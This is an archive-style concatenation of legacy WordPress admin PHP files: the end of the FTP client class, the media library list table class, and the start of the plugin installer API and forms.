{ $local=realpath($local); if(!@file_exists($local)) { $this->PushError("mput","can't open local folder", "Cannot stat folder \"".$local."\""); return FALSE; } if(!is_dir($local)) return $this->put($local, $remote); if(empty($remote)) $remote="."; elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE; if($handle = opendir($local)) { $list=array(); while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") $list[]=$file; } closedir($handle); } else { $this->PushError("mput","can't open local folder", "Cannot read folder \"".$local."\""); return FALSE; } if(empty($list)) return TRUE; $ret=true; foreach($list as $el) { if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el); else $t=$this->put($local."/".$el, $remote."/".$el); if(!$t) { $ret=FALSE; if(!$continious) break; } } return $ret; } function mget($remote, $local=".", $continious=false) { $list=$this->rawlist($remote, "-lA"); if($list===false) { $this->PushError("mget","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); return FALSE; } if(empty($list)) return true; if(!@file_exists($local)) { if(!@mkdir($local)) { $this->PushError("mget","can't create local folder", "Cannot create folder \"".$local."\""); return FALSE; } } foreach($list as $k=>$v) { $list[$k]=$this->parselisting($v); if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $el) { if($el["type"]=="d") { if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) { $this->PushError("mget", "can't copy folder", "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } else { if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) { $this->PushError("mget", "can't copy file", "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } @chmod($local."/".$el["name"], $el["perms"]); $t=strtotime($el["date"]); if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t); } return $ret; } function mdel($remote, $continious=false) { $list=$this->rawlist($remote, "-la"); if($list===false) { $this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); return false; } foreach($list as $k=>$v) { $list[$k]=$this->parselisting($v); if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $el) { if ( empty($el) ) continue; if($el["type"]=="d") { if(!$this->mdel($remote."/".$el["name"], $continious)) { $ret=false; if(!$continious) break; } } else { if (!$this->delete($remote."/".$el["name"])) { $this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\""); $ret=false; if(!$continious) break; } } } if(!$this->rmdir($remote)) { $this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\""); $ret=false; } return $ret; } function mmkdir($dir, $mode = 0777) { if(empty($dir)) return FALSE; if($this->is_exists($dir) or $dir == "/" ) return TRUE; if(!$this->mmkdir(dirname($dir), $mode)) return false; $r=$this->mkdir($dir, $mode); $this->chmod($dir,$mode); return $r; } function glob($pattern, $handle=NULL) { $path=$output=null; if(PHP_OS=='WIN32') $slash='\\'; else $slash='/'; $lastpos=strrpos($pattern,$slash); if(!($lastpos===false)) { $path=substr($pattern,0,-$lastpos-1); $pattern=substr($pattern,$lastpos); } else $path=getcwd(); if(is_array($handle) and !empty($handle)) { while($dir=each($handle)) { if($this->glob_pattern_match($pattern,$dir)) $output[]=$dir; } } else { $handle=@opendir($path); if($handle===false) return false; while($dir=readdir($handle)) { if($this->glob_pattern_match($pattern,$dir)) $output[]=$dir; } closedir($handle); } if(is_array($output)) return $output; return false; } function glob_pattern_match($pattern,$string) { $out=null; $chunks=explode(';',$pattern); foreach($chunks as $pattern) { $escape=array('$','^','.','{','}','(',')','[',']','|'); while(strpos($pattern,'**')!==false) $pattern=str_replace('**','*',$pattern); foreach($escape as $probe) $pattern=str_replace($probe,"\\$probe",$pattern); $pattern=str_replace('?*','*', str_replace('*?','*', str_replace('*',".*", str_replace('?','.{1,1}',$pattern)))); $out[]=$pattern; } if(count($out)==1) return($this->glob_regexp("^$out[0]$",$string)); else { foreach($out as $tester) if($this->my_regexp("^$tester$",$string)) return true; } return false; } function glob_regexp($pattern,$probe) { $sensitive=(PHP_OS!='WIN32'); return ($sensitive? ereg($pattern,$probe): eregi($pattern,$probe) ); } function dirlist($remote) { $list=$this->rawlist($remote, "-la"); if($list===false) { $this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); return false; } $dirlist = array(); foreach($list as $k=>$v) { $entry=$this->parselisting($v); if ( empty($entry) ) continue; if($entry["name"]=="." or $entry["name"]=="..") continue; $dirlist[$entry['name']] = $entry; } return $dirlist; } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Private functions --> // <!-- --------------------------------------------------------------------------------------- --> function _checkCode() { return ($this->_code<400 and $this->_code>0); } function _list($arg="", $cmd="LIST", $fnction="_list") { if(!$this->_data_prepare()) return false; if(!$this->_exec($cmd.$arg, $fnction)) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $out=""; if($this->_code<200) { $out=$this->_data_read(); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; if($out === FALSE ) return FALSE; $out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY); // $this->SendMSG(implode($this->_eol_code[$this->OS_local], $out)); } return $out; } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Partie : gestion des erreurs --> // <!-- --------------------------------------------------------------------------------------- --> // Gnre une erreur pour traitement externe la classe function PushError($fctname,$msg,$desc=false){ $error=array(); $error['time']=time(); $error['fctname']=$fctname; $error['msg']=$msg; $error['desc']=$desc; if($desc) $tmp=' ('.$desc.')'; else $tmp=''; $this->SendMSG($fctname.': '.$msg.$tmp); return(array_push($this->_error_array,$error)); } // Rcupre une erreur externe function PopError(){ if(count($this->_error_array)) return(array_pop($this->_error_array)); else return(false); } } $mod_sockets = extension_loaded( 'sockets' ); if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) { $prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : ''; @dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX ); $mod_sockets = extension_loaded( 'sockets' ); } require_once "class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php"; ?> class-wp-media-list-table.php000077700000040344151514577750012156 0ustar00<?php /** * Media Library List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Media_List_Table extends WP_List_Table { function __construct( $args = array() ) { $this->detached = isset( $_REQUEST['detached'] ) || isset( $_REQUEST['find_detached'] ); parent::__construct( array( 'plural' => 'media', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } function ajax_user_can() { return current_user_can('upload_files'); } function prepare_items() { global $lost, $wpdb, $wp_query, $post_mime_types, $avail_post_mime_types; $q = $_REQUEST; if ( !empty( $lost ) ) $q['post__in'] = implode( ',', $lost ); list( $post_mime_types, $avail_post_mime_types ) = wp_edit_attachments_query( $q ); $this->is_trash = isset( $_REQUEST['status'] ) && 'trash' == $_REQUEST['status']; $this->set_pagination_args( array( 'total_items' => $wp_query->found_posts, 'total_pages' => $wp_query->max_num_pages, 'per_page' => $wp_query->query_vars['posts_per_page'], ) ); } function get_views() { global $wpdb, $post_mime_types, $avail_post_mime_types; $type_links = array(); $_num_posts = (array) wp_count_attachments(); $_total_posts = array_sum($_num_posts) - $_num_posts['trash']; $total_orphans = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent < 1" ); $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts)); foreach ( $matches as $type => $reals ) foreach ( $reals as $real ) $num_posts[$type] = ( isset( $num_posts[$type] ) ) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real]; $class = ( empty($_GET['post_mime_type']) && !$this->detached && !isset($_GET['status']) ) ? ' class="current"' : ''; $type_links['all'] = "<a href='upload.php'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $_total_posts, 'uploaded files' ), number_format_i18n( $_total_posts ) ) . '</a>'; foreach ( $post_mime_types as $mime_type => $label ) { $class = ''; if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) ) continue; if ( !empty($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) ) $class = ' class="current"'; if ( !empty( $num_posts[$mime_type] ) ) $type_links[$mime_type] = "<a href='upload.php?post_mime_type=$mime_type'$class>" . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), number_format_i18n( $num_posts[$mime_type] )) . '</a>'; } $type_links['detached'] = '<a href="upload.php?detached=1"' . ( $this->detached ? ' class="current"' : '' ) . '>' . sprintf( _nx( 'Unattached <span class="count">(%s)</span>', 'Unattached <span class="count">(%s)</span>', $total_orphans, 'detached files' ), number_format_i18n( $total_orphans ) ) . '</a>'; if ( !empty($_num_posts['trash']) ) $type_links['trash'] = '<a href="upload.php?status=trash"' . ( (isset($_GET['status']) && $_GET['status'] == 'trash' ) ? ' class="current"' : '') . '>' . sprintf( _nx( 'Trash <span class="count">(%s)</span>', 'Trash <span class="count">(%s)</span>', $_num_posts['trash'], 'uploaded files' ), number_format_i18n( $_num_posts['trash'] ) ) . '</a>'; return $type_links; } function get_bulk_actions() { $actions = array(); $actions['delete'] = __( 'Delete Permanently' ); if ( $this->detached ) $actions['attach'] = __( 'Attach to a post' ); return $actions; } function extra_tablenav( $which ) { ?> <div class="alignleft actions"> <?php if ( 'top' == $which && !is_singular() && !$this->detached && !$this->is_trash ) { $this->months_dropdown( 'attachment' ); /** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */ do_action( 'restrict_manage_posts' ); submit_button( __( 'Filter' ), 'button', false, false, array( 'id' => 'post-query-submit' ) ); } if ( $this->detached ) { submit_button( __( 'Scan for lost attachments' ), 'secondary', 'find_detached', false ); } elseif ( $this->is_trash && current_user_can( 'edit_others_posts' ) ) { submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false ); } ?> </div> <?php } function current_action() { if ( isset( $_REQUEST['find_detached'] ) ) return 'find_detached'; if ( isset( $_REQUEST['found_post_id'] ) && isset( $_REQUEST['media'] ) ) return 'attach'; if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) return 'delete_all'; return parent::current_action(); } function has_items() { return have_posts(); } function no_items() { _e( 'No media attachments found.' ); } function get_columns() { $posts_columns = array(); $posts_columns['cb'] = '<input type="checkbox" />'; $posts_columns['icon'] = ''; /* translators: column name */ $posts_columns['title'] = _x( 'File', 'column name' ); $posts_columns['author'] = __( 'Author' ); $taxonomies = array(); $taxonomies = get_taxonomies_for_attachments( 'objects' ); $taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' ); /** * Filter the taxonomy columns for attachments in the Media list table. * * @since 3.5.0 * * @param array $taxonomies An array of registered taxonomies to show for attachments. * @param string $post_type The post type. Default 'attachment'. */ $taxonomies = apply_filters( 'manage_taxonomies_for_attachment_columns', $taxonomies, 'attachment' ); $taxonomies = array_filter( $taxonomies, 'taxonomy_exists' ); foreach ( $taxonomies as $taxonomy ) { if ( 'category' == $taxonomy ) $column_key = 'categories'; elseif ( 'post_tag' == $taxonomy ) $column_key = 'tags'; else $column_key = 'taxonomy-' . $taxonomy; $posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name; } /* translators: column name */ if ( !$this->detached ) { $posts_columns['parent'] = _x( 'Uploaded to', 'column name' ); if ( post_type_supports( 'attachment', 'comments' ) ) $posts_columns['comments'] = '<span class="vers"><span title="' . esc_attr__( 'Comments' ) . '" class="comment-grey-bubble"></span></span>'; } /* translators: column name */ $posts_columns['date'] = _x( 'Date', 'column name' ); /** * Filter the Media list table columns. * * @since 2.5.0 * * @param array $posts_columns An array of columns displayed in the Media list table. * @param bool $detached Whether the list table contains media not attached * to any posts. Default true. */ $posts_columns = apply_filters( 'manage_media_columns', $posts_columns, $this->detached ); return $posts_columns; } function get_sortable_columns() { return array( 'title' => 'title', 'author' => 'author', 'parent' => 'parent', 'comments' => 'comment_count', 'date' => array( 'date', true ), ); } function display_rows() { global $post; add_filter( 'the_title','esc_html' ); $alt = ''; while ( have_posts() ) : the_post(); $user_can_edit = current_user_can( 'edit_post', $post->ID ); if ( $this->is_trash && $post->post_status != 'trash' || !$this->is_trash && $post->post_status == 'trash' ) continue; $alt = ( 'alternate' == $alt ) ? '' : 'alternate'; $post_owner = ( get_current_user_id() == $post->post_author ) ? 'self' : 'other'; $att_title = _draft_or_post_title(); ?> <tr id='post-<?php echo $post->ID; ?>' class='<?php echo trim( $alt . ' author-' . $post_owner . ' status-' . $post->post_status ); ?>'> <?php list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $class = "class='$column_name column-$column_name'"; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = $class . $style; switch ( $column_name ) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ( $user_can_edit ) { ?> <label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php echo sprintf( __( 'Select %s' ), $att_title );?></label> <input type="checkbox" name="media[]" id="cb-select-<?php the_ID(); ?>" value="<?php the_ID(); ?>" /> <?php } ?> </th> <?php break; case 'icon': $attributes = 'class="column-icon media-icon"' . $style; ?> <td <?php echo $attributes ?>><?php if ( $thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true ) ) { if ( $this->is_trash || ! $user_can_edit ) { echo $thumb; } else { ?> <a href="<?php echo get_edit_post_link( $post->ID, true ); ?>" title="<?php echo esc_attr( sprintf( __( 'Edit “%s”' ), $att_title ) ); ?>"> <?php echo $thumb; ?> </a> <?php } } ?> </td> <?php break; case 'title': ?> <td <?php echo $attributes ?>><strong> <?php if ( $this->is_trash || ! $user_can_edit ) { echo $att_title; } else { ?> <a href="<?php echo get_edit_post_link( $post->ID, true ); ?>" title="<?php echo esc_attr( sprintf( __( 'Edit “%s”' ), $att_title ) ); ?>"> <?php echo $att_title; ?></a> <?php }; _media_states( $post ); ?></strong> <p> <?php if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) echo esc_html( strtoupper( $matches[1] ) ); else echo strtoupper( str_replace( 'image/', '', get_post_mime_type() ) ); ?> </p> <?php echo $this->row_actions( $this->_get_row_actions( $post, $att_title ) ); ?> </td> <?php break; case 'author': ?> <td <?php echo $attributes ?>><?php printf( '<a href="%s">%s</a>', esc_url( add_query_arg( array( 'author' => get_the_author_meta('ID') ), 'upload.php' ) ), get_the_author() ); ?></td> <?php break; case 'desc': ?> <td <?php echo $attributes ?>><?php echo has_excerpt() ? $post->post_excerpt : ''; ?></td> <?php break; case 'date': if ( '0000-00-00 00:00:00' == $post->post_date ) { $h_time = __( 'Unpublished' ); } else { $m_time = $post->post_date; $time = get_post_time( 'G', true, $post, false ); if ( ( abs( $t_diff = time() - $time ) ) < DAY_IN_SECONDS ) { if ( $t_diff < 0 ) $h_time = sprintf( __( '%s from now' ), human_time_diff( $time ) ); else $h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) ); } else { $h_time = mysql2date( __( 'Y/m/d' ), $m_time ); } } ?> <td <?php echo $attributes ?>><?php echo $h_time ?></td> <?php break; case 'parent': if ( $post->post_parent > 0 ) $parent = get_post( $post->post_parent ); else $parent = false; if ( $parent ) { $title = _draft_or_post_title( $post->post_parent ); $parent_type = get_post_type_object( $parent->post_type ); ?> <td <?php echo $attributes ?>><strong> <?php if ( current_user_can( 'edit_post', $post->post_parent ) && $parent_type && $parent_type->show_ui ) { ?> <a href="<?php echo get_edit_post_link( $post->post_parent ); ?>"> <?php echo $title ?></a><?php } else { echo $title; } ?></strong>, <?php echo get_the_time( __( 'Y/m/d' ) ); ?> </td> <?php } else { ?> <td <?php echo $attributes ?>><?php _e( '(Unattached)' ); ?><br /> <?php if ( $user_can_edit ) { ?> <a class="hide-if-no-js" onclick="findPosts.open( 'media[]','<?php echo $post->ID ?>' ); return false;" href="#the-list"> <?php _e( 'Attach' ); ?></a> <?php } ?></td> <?php } break; case 'comments': $attributes = 'class="comments column-comments num"' . $style; ?> <td <?php echo $attributes ?>> <div class="post-com-count-wrapper"> <?php $pending_comments = get_pending_comments_num( $post->ID ); $this->comments_bubble( $post->ID, $pending_comments ); ?> </div> </td> <?php break; default: if ( 'categories' == $column_name ) $taxonomy = 'category'; elseif ( 'tags' == $column_name ) $taxonomy = 'post_tag'; elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) $taxonomy = substr( $column_name, 9 ); else $taxonomy = false; if ( $taxonomy ) { $taxonomy_object = get_taxonomy( $taxonomy ); echo '<td ' . $attributes . '>'; if ( $terms = get_the_terms( $post->ID, $taxonomy ) ) { $out = array(); foreach ( $terms as $t ) { $posts_in_term_qv = array(); $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; $out[] = sprintf( '<a href="%s">%s</a>', esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ), esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) ) ); } /* translators: used between list items, there is a space after the comma */ echo join( __( ', ' ), $out ); } else { echo '—'; } echo '</td>'; break; } ?> <td <?php echo $attributes ?>> <?php /** * Fires for each custom column in the Media list table. * * Custom columns are registered using the 'manage_media_columns' filter. * * @since 2.5.0 * * @param string $column_name Name of the custom column. * @param int $post_id Attachment ID. */ ?> <?php do_action( 'manage_media_custom_column', $column_name, $post->ID ); ?> </td> <?php break; } } ?> </tr> <?php endwhile; } function _get_row_actions( $post, $att_title ) { $actions = array(); if ( $this->detached ) { if ( current_user_can( 'edit_post', $post->ID ) ) $actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '">' . __( 'Edit' ) . '</a>'; if ( current_user_can( 'delete_post', $post->ID ) ) if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) { $actions['trash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=trash&post=$post->ID", 'trash-post_' . $post->ID ) . "'>" . __( 'Trash' ) . "</a>"; } else { $delete_ays = !MEDIA_TRASH ? " onclick='return showNotice.warn();'" : ''; $actions['delete'] = "<a class='submitdelete'$delete_ays href='" . wp_nonce_url( "post.php?action=delete&post=$post->ID", 'delete-post_' . $post->ID ) . "'>" . __( 'Delete Permanently' ) . "</a>"; } $actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View “%s”' ), $att_title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>'; if ( current_user_can( 'edit_post', $post->ID ) ) $actions['attach'] = '<a href="#the-list" onclick="findPosts.open( \'media[]\',\''.$post->ID.'\' );return false;" class="hide-if-no-js">'.__( 'Attach' ).'</a>'; } else { if ( current_user_can( 'edit_post', $post->ID ) && !$this->is_trash ) $actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '">' . __( 'Edit' ) . '</a>'; if ( current_user_can( 'delete_post', $post->ID ) ) { if ( $this->is_trash ) $actions['untrash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=untrash&post=$post->ID", 'untrash-post_' . $post->ID ) . "'>" . __( 'Restore' ) . "</a>"; elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) $actions['trash'] = "<a class='submitdelete' href='" . wp_nonce_url( "post.php?action=trash&post=$post->ID", 'trash-post_' . $post->ID ) . "'>" . __( 'Trash' ) . "</a>"; if ( $this->is_trash || !EMPTY_TRASH_DAYS || !MEDIA_TRASH ) { $delete_ays = ( !$this->is_trash && !MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : ''; $actions['delete'] = "<a class='submitdelete'$delete_ays href='" . wp_nonce_url( "post.php?action=delete&post=$post->ID", 'delete-post_' . $post->ID ) . "'>" . __( 'Delete Permanently' ) . "</a>"; } } if ( !$this->is_trash ) { $title =_draft_or_post_title( $post->post_parent ); $actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View “%s”' ), $title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>'; } } /** * Filter the action links for each attachment in the Media list table. * * @since 2.8.0 * * @param array $actions An array of action links for each attachment. * Default 'Edit', 'Delete Permanently', 'View'. * @param WP_Post $post WP_Post object for the current attachment. * @param bool $detached Whether the list table contains media not attached * to any posts. Default true. */ $actions = apply_filters( 'media_row_actions', $actions, $post, $this->detached ); return $actions; } } plugin-install.php000077700000044515151514577750010260 0ustar00<?php /** * WordPress Plugin Install Administration API * * @package WordPress * @subpackage Administration */ /** * Retrieve plugin installer pages from WordPress Plugins API. * * It is possible for a plugin to override the Plugin API result with three * filters. Assume this is for plugins, which can extend on the Plugin Info to * offer more choices. This is very powerful and must be used with care, when * overriding the filters. * * The first filter, 'plugins_api_args', is for the args and gives the action as * the second parameter. The hook for 'plugins_api_args' must ensure that an * object is returned. * * The second filter, 'plugins_api', is the result that would be returned. * * @since 2.7.0 * * @param string $action * @param array|object $args Optional. Arguments to serialize for the Plugin Info API. * @return object plugins_api response object on success, WP_Error on failure. */ function plugins_api($action, $args = null) { if ( is_array($args) ) $args = (object)$args; if ( !isset($args->per_page) ) $args->per_page = 24; /** * Override the Plugin Install API arguments. * * Please ensure that an object is returned. * * @since 2.7.0 * * @param object $args Plugin API arguments. * @param string $action The type of information being requested from the Plugin Install API. */ $args = apply_filters( 'plugins_api_args', $args, $action ); /** * Allows a plugin to override the WordPress.org Plugin Install API entirely. * * Please ensure that an object is returned. * * @since 2.7.0 * * @param bool|object $result The result object. Default false. * @param string $action The type of information being requested from the Plugin Install API. * @param object $args Plugin API arguments. */ $res = apply_filters( 'plugins_api', false, $action, $args ); if ( false === $res ) { $url = $http_url = 'http://api.wordpress.org/plugins/info/1.0/'; if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $args = array( 'timeout' => 15, 'body' => array( 'action' => $action, 'request' => serialize( $args ) ) ); $request = wp_remote_post( $url, $args ); if ( $ssl && is_wp_error( $request ) ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $request = wp_remote_post( $http_url, $args ); } if ( is_wp_error($request) ) { $res = new WP_Error('plugins_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), $request->get_error_message() ); } else { $res = maybe_unserialize( wp_remote_retrieve_body( $request ) ); if ( ! is_object( $res ) && ! is_array( $res ) ) $res = new WP_Error('plugins_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), wp_remote_retrieve_body( $request ) ); } } elseif ( !is_wp_error($res) ) { $res->external = true; } /** * Filter the Plugin Install API response results. * * @since 2.7.0 * * @param object|WP_Error $res Response object or WP_Error. * @param string $action The type of information being requested from the Plugin Install API. * @param object $args Plugin API arguments. */ return apply_filters( 'plugins_api_result', $res, $action, $args ); } /** * Retrieve popular WordPress plugin tags. * * @since 2.7.0 * * @param array $args * @return array */ function install_popular_tags( $args = array() ) { $key = md5(serialize($args)); if ( false !== ($tags = get_site_transient('poptags_' . $key) ) ) return $tags; $tags = plugins_api('hot_tags', $args); if ( is_wp_error($tags) ) return $tags; set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS ); return $tags; } function install_dashboard() { ?> <p><?php printf( __( 'Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="%1$s">WordPress Plugin Directory</a> or upload a plugin in .zip format via <a href="%2$s">this page</a>.' ), 'https://wordpress.org/plugins/', self_admin_url( 'plugin-install.php?tab=upload' ) ); ?></p> <h4><?php _e('Search') ?></h4> <?php install_search_form( false ); ?> <h4><?php _e('Popular tags') ?></h4> <p class="install-help"><?php _e('You may also browse based on the most popular tags in the Plugin Directory:') ?></p> <?php $api_tags = install_popular_tags(); echo '<p class="popular-tags">'; if ( is_wp_error($api_tags) ) { echo $api_tags->get_error_message(); } else { //Set up the tags in a way which can be interpreted by wp_generate_tag_cloud() $tags = array(); foreach ( (array)$api_tags as $tag ) $tags[ $tag['name'] ] = (object) array( 'link' => esc_url( self_admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name'])) ), 'name' => $tag['name'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count'] ); echo wp_generate_tag_cloud($tags, array( 'single_text' => __('%s plugin'), 'multiple_text' => __('%s plugins') ) ); } echo '</p><br class="clear" />'; } add_action('install_plugins_dashboard', 'install_dashboard'); /** * Display search form for searching plugins. * * @since 2.7.0 */ function install_search_form( $type_selector = true ) { $type = isset($_REQUEST['type']) ? wp_unslash( $_REQUEST['type'] ) : 'term'; $term = isset($_REQUEST['s']) ? wp_unslash( $_REQUEST['s'] ) : ''; ?><form id="search-plugins" method="get" action=""> <input type="hidden" name="tab" value="search" /> <?php if ( $type_selector ) : ?> <select name="type" id="typeselector"> <option value="term"<?php selected('term', $type) ?>><?php _e('Keyword'); ?></option> <option value="author"<?php selected('author', $type) ?>><?php _e('Author'); ?></option> <option value="tag"<?php selected('tag', $type) ?>><?php _ex('Tag', 'Plugin Installer'); ?></option> </select> <?php endif; ?> <input type="search" name="s" value="<?php echo esc_attr($term) ?>" autofocus="autofocus" /> <label class="screen-reader-text" for="plugin-search-input"><?php _e('Search Plugins'); ?></label> <?php submit_button( __( 'Search Plugins' ), 'button', 'plugin-search-input', false ); ?> </form><?php } /** * Upload from zip * @since 2.8.0 * * @param string $page */ function install_plugins_upload( $page = 1 ) { ?> <h4><?php _e('Install a plugin in .zip format'); ?></h4> <p class="install-help"><?php _e('If you have a plugin in a .zip format, you may install it by uploading it here.'); ?></p> <form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-plugin'); ?>"> <?php wp_nonce_field( 'plugin-upload'); ?> <label class="screen-reader-text" for="pluginzip"><?php _e('Plugin zip file'); ?></label> <input type="file" id="pluginzip" name="pluginzip" /> <?php submit_button( __( 'Install Now' ), 'button', 'install-plugin-submit', false ); ?> </form> <?php } add_action('install_plugins_upload', 'install_plugins_upload', 10, 1); /** * Show a username form for the favorites page * @since 3.5.0 * */ function install_plugins_favorites_form() { $user = ! empty( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' ); ?> <p class="install-help"><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p> <form method="get" action=""> <input type="hidden" name="tab" value="favorites" /> <p> <label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label> <input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" /> <input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" /> </p> </form> <?php } /** * Display plugin content based on plugin list. * * @since 2.7.0 */ function display_plugins_table() { global $wp_list_table; if ( current_filter() == 'install_plugins_favorites' && empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) return; $wp_list_table->display(); } add_action( 'install_plugins_search', 'display_plugins_table' ); add_action( 'install_plugins_featured', 'display_plugins_table' ); add_action( 'install_plugins_popular', 'display_plugins_table' ); add_action( 'install_plugins_new', 'display_plugins_table' ); add_action( 'install_plugins_favorites', 'display_plugins_table' ); /** * Determine the status we can perform on a plugin. * * @since 3.0.0 */ function install_plugin_install_status($api, $loop = false) { // this function is called recursively, $loop prevents further loops. if ( is_array($api) ) $api = (object) $api; //Default to a "new" plugin $status = 'install'; $url = false; //Check to see if this plugin is known to be installed, and has an update awaiting it. $update_plugins = get_site_transient('update_plugins'); if ( isset( $update_plugins->response ) ) { foreach ( (array)$update_plugins->response as $file => $plugin ) { if ( $plugin->slug === $api->slug ) { $status = 'update_available'; $update_file = $file; $version = $plugin->new_version; if ( current_user_can('update_plugins') ) $url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $update_file), 'upgrade-plugin_' . $update_file); break; } } } if ( 'install' == $status ) { if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) { $installed_plugin = get_plugins('/' . $api->slug); if ( empty($installed_plugin) ) { if ( current_user_can('install_plugins') ) $url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug); } else { $key = array_keys( $installed_plugin ); $key = array_shift( $key ); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers if ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '=') ){ $status = 'latest_installed'; } elseif ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '<') ) { $status = 'newer_installed'; $version = $installed_plugin[ $key ]['Version']; } else { //If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh if ( ! $loop ) { delete_site_transient('update_plugins'); wp_update_plugins(); return install_plugin_install_status($api, true); } } } } else { // "install" & no directory with that slug if ( current_user_can('install_plugins') ) $url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $api->slug), 'install-plugin_' . $api->slug); } } if ( isset($_GET['from']) ) $url .= '&from=' . urlencode( wp_unslash( $_GET['from'] ) ); return compact('status', 'url', 'version'); } /** * Display plugin information in dialog box form. * * @since 2.7.0 